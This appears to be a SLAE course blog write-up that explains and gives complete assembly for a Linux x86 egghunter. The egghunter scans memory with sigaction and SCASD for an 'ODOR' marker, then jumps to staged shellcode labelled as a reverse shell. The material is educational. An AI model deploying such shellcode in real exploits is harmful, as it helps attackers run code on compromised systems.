Steps taken
1. Setup function calls and arguments for SIGACTION
– Clear ECX before being used by SCASD
– Put 4096 as a Linux pagelength to be checked in ECX
– Setup other arguments
– Call SIGACTION
2. Check for returned error value
– Returned value casued by SIGACTION to be checked and act upon result
3. Search for egghunter string
– Copy egghunting string to EAX
– Place address in EDI
– Run SCASD
– Check if comparision is equal, else loop again for next address
– Run SCASD
– Check if comparision is equal, else loop again for next address
– Jump to the shellcode when egghunting string is found
4. Implement functions
Because we need to loop the pages of memory and try address regions to check for the eggstring, it would be a good practice to implement functions for repetive tasks.
From the SLAE course, the JMP/CALL/POP method has been explained and shown to work. We will be using that technique as well for our to be created ASM code.
Used syscall functions
Breaking down the code in functions for syscalls, the following functions are being used:
– sigaction 67 → 0x43
According to the syscall definitions, the codes translate to the hex numbers being shown.
1. Setup function calls and arguments for SIGACTION
Call reference:
From “/usr/include/i386-linux-gnu/asm/unistd_32.h”:
#define __NR_sigaction 67
Error code EFAULT from “/usr/include/asm-generic/errno-base.h”:
#define EFAULT 14 /* Bad address */
SIGACTION structure:
struct sigaction{
__sighandler_t sa_handler;
__sigset_t sa_mask;
int sa_flags;
void (*sa_restorer) (void);
};
Assembly instructions
xor ecx, ecx ; clear ECX before being used by SCASD
or cx, 0xfff ; OR the value of 0xfff and place it as a 16-byte address in CX, result 4095
inc ecx ; Increment ECX by one, making it value 4096 as a Linux pagesize value
push 0x43 ; SYSCALL SIGACTION
pop eax ; Calling SIGACTION in EAX
int 0x80 ; Execute SIGACTION
2. Check for returned error value
Next up is checking the result performed by SIGACTION
Assembly instructions
cmp al, 0xf2 ; 0xfffffff2 == -14 as value to be checked, seeing returned errors are negative
jz {FUNCTION} ; Jump to function for the next page, if EFAULT error is returned
3. Search for egghunter string
This part creates the egghunting string
Assembly instructions
mov eax, {EGG} ; Copy the string for egghunting into EAX
scasd ; Execute SCASD function to compare EAX to EDI
jnz {FUNCTION} ; Jump to function to try the next address
scasd ; Execute SCASD function again, this time for the remaining part of the eggstring
jnz {FUNCTION} ; Jump to function to try the next address
jmp edi ; Egg found, then jump to shellcode
4. Implement functions
So we’ll be using the JMP/CALL/POP technique for functions and looping, using the already made ASM template as placed on my Github page.
Converting egghunt string to hex
To use a 4 byte string as pattern for the egghunt, let’s convert it to reverse hex in ASM. We’ll be using the string ‘ODOR’, seeing ‘HODOR’ is one byte too large and because HODOR sometimes smells.
$ ../string_to_hex.py ODOR
String length : 4
Converted [{opcode} {0x hex} ; {reversed string}] format
push 0x524f444f ; RODO
Entire ASM
Using our generated string, here’s the egghunting shellcode.
; Name; Egghunting Linux x86 reverse shell TCP
; Filename: egghunt_rev_tcp_initial.asm
; Author hodorsec
global _start
section .text
_start:
xor ecx, ecx ; clear ECX before being used by SCASD
jmp short begin ; Jump to function
page:
; Setup function calls and arguments for SIGACTION
or cx, 0xfff ; OR the value of 0xfff and place it as a 16-byte address in CX, result 4095
loop:
; Setup function calls and arguments for SIGACTION
inc ecx ; Increment ECX by one, making it value 4096 as a Linux pagesize value
push byte 0x43 ; SYSCALL SIGACTION
pop eax ; Calling SIGACTION in EAX
int 0x80 ; Execute SIGACTION
; Check for returned error value
cmp al, 0xf2 ; 0xfffffff2 == -14 as value to be checked, seeing returned errors are negative
jz page ; Jump to function for the next page, if EFAULT error is returned
; Search for egghunter string
mov eax, 0x524f444f ; Copy the string ‘ODOR’ for egghunting into EAX
mov edi, ecx ; To be checked by SCASD, copy page address to EDI
scasd ; Execute SCASD function to compare EAX to EDI
jnz loop ; Jump to function to try the next address
scasd ; Execute SCASD function again, this time for the remaining part of the eggstring
jnz loop ; Jump to function to try the next address
jmp edi ; Egg found, then jump to shellcode
begin:
call loop ; Call loop